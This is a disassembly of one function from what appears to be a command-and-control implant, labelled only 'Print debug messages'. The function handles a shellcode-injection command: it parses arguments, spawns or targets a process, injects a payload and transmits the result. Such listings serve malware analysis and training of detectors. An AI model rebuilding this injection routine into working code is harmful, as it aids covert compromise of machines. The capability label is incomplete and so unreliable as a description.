Function at 0x14000c160
Capabilities:
Print debug messages

Disassembly:
push r15
xor eax, eax
push r14
push r13
mov r13, rcx
mov ecx, 6
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rdi, [rsp + 0x78]
mov dword [rsp + 0x70], 0
rep stosd dword [rdi], eax
mov ecx, 0x18
mov dword [rsp + 0x74], 0
call sym.PackageCreate
mov rcx, r13
mov r14, rax
call sym.ParserGetInt32
mov rcx, r13
mov dword [rsp + 0x68], eax
call sym.ParserGetInt32
mov rcx, r13
mov r12d, eax
call sym.ParserGetInt32
mov rcx, r13
lea rdx, [rsp + 0x70]
mov ebx, eax
call sym.ParserGetBytes
lea rdx, [rsp + 0x74]
mov rcx, r13
mov rsi, rax
call sym.ParserGetBytes
mov rcx, r13
lea r13, str.CommandInjectShellcode
mov rbp, rax
call sym.ParserGetInt32
test ebx, ebx
mov qword [rsp + 0x40], rbp
lea rdx, [0x140027f29]
mov r15d, eax
mov qword [rsp + 0x30], rsi
mov r9d, dword [rsp + 0x68]
lea rax, [0x140027f24]
cmove rax, rdx
mov edx, dword [rsp + 0x74]
mov dword [rsp + 0x50], r15d
mov r8d, 0x50d
mov dword [rsp + 0x20], r12d
lea rcx, str._DEBUG::_s::_d__Injection_Args:_______n___Way_____:__d_______n___Method__:__d_______n___x64_____:__s_______n___Payload_:__p_:__d__n___Arg_____:__p_:__d__n___Pid_____:__d_______n
mov dword [rsp + 0x48], edx
mov edx, dword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x38], edx
mov rdx, r13
call sym.DbgPrint
mov r9d, dword [rsp + 0x68]
cmp r9d, 1
je 0x14000c3bb
cmp r9d, 2
je 0x14000c40a
test r9d, r9d
jne 0x14000c463
lea r9, str.INJECT_WAY_SPAWN
mov r8d, 0x520
mov rdx, r13
lea rcx, [0x140027618]
lea rdi, [rsp + 0x78]
call sym.printf.constprop.0_5
mov r15, qword [0x14002d650]
test ebx, ebx
mov rax, qword [r15]
je 0x14000c2a5
mov r10, qword [rax + 0x104]
jmp 0x14000c2ac
mov r10, qword [rax + 0x10c]
mov r9, r10
mov r8d, 0x528
mov rdx, r13
mov qword [rsp + 0x68], r10
lea rcx, str._DEBUG::_s::_d__Target_spawn_process:__ls_n
call sym.DbgPrint
mov dword [rsp + 0x28], 0
xor ecx, ecx
mov r8, qword [rsp + 0x68]
mov qword [rsp + 0x20], rdi
test ebx, ebx
mov r9d, 0x8000014
mov qword [rsp + 0x30], 0
sete cl
xor edx, edx
call sym.ProcessCreate
test eax, eax
je 0x14000c398
mov r8d, 0x52c
mov r9d, dword [rsp + 0x88]
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__ProcessId_is__d_n
call sym.DbgPrint
mov eax, dword [rsp + 0x74]
movzx ecx, r12b
mov r9d, ebx
mov qword [rsp + 0x38], rbp
mov rdx, qword [rsp + 0x78]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call sym.Inject
mov r12d, eax
test eax, eax
je 0x14000c369
mov rcx, qword [rsp + 0x78]
xor edx, edx
call sym.ProcessTerminate
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x14000c378
call sym.SysNtClose
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x14000c38a
call sym.SysNtClose
mov ecx, 0x18
xor eax, eax
rep stosb byte [rdi], al
jmp 0x14000c47e
mov rax, qword [r15]
mov r8d, 0x543
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Failed_to_create_process:__d_n
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
jmp 0x14000c473
lea r9, str.INJECT_WAY_INJECT
mov r8d, 0x549
mov rdx, r13
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov eax, dword [rsp + 0x74]
mov qword [rsp + 0x38], rbp
xor edx, edx
mov qword [rsp + 0x20], rsi
movzx ecx, r12b
mov r9d, ebx
mov r8d, r15d
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
jmp 0x14000c459
lea r9, str.INJECT_WAY_EXECUTE
mov r8d, 0x54e
mov rdx, r13
lea rcx, [0x140027618]
call sym.printf.constprop.0_5
mov eax, dword [rsp + 0x74]
movzx ecx, r12b
mov r9d, ebx
mov qword [rsp + 0x38], rbp
xor r8d, r8d
or rdx, 0xffffffffffffffff
mov qword [rsp + 0x40], rax
mov eax, dword [rsp + 0x70]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call sym.Inject
mov r12d, eax
jmp 0x14000c47e
mov r8d, 0x554
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__Injection_way_not_found:__d_n
call sym.DbgPrint
mov r12d, 1
mov edx, r12d
mov rcx, r14
call sym.PackageAddInt32
mov rcx, r14
call sym.PackageTransmit
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret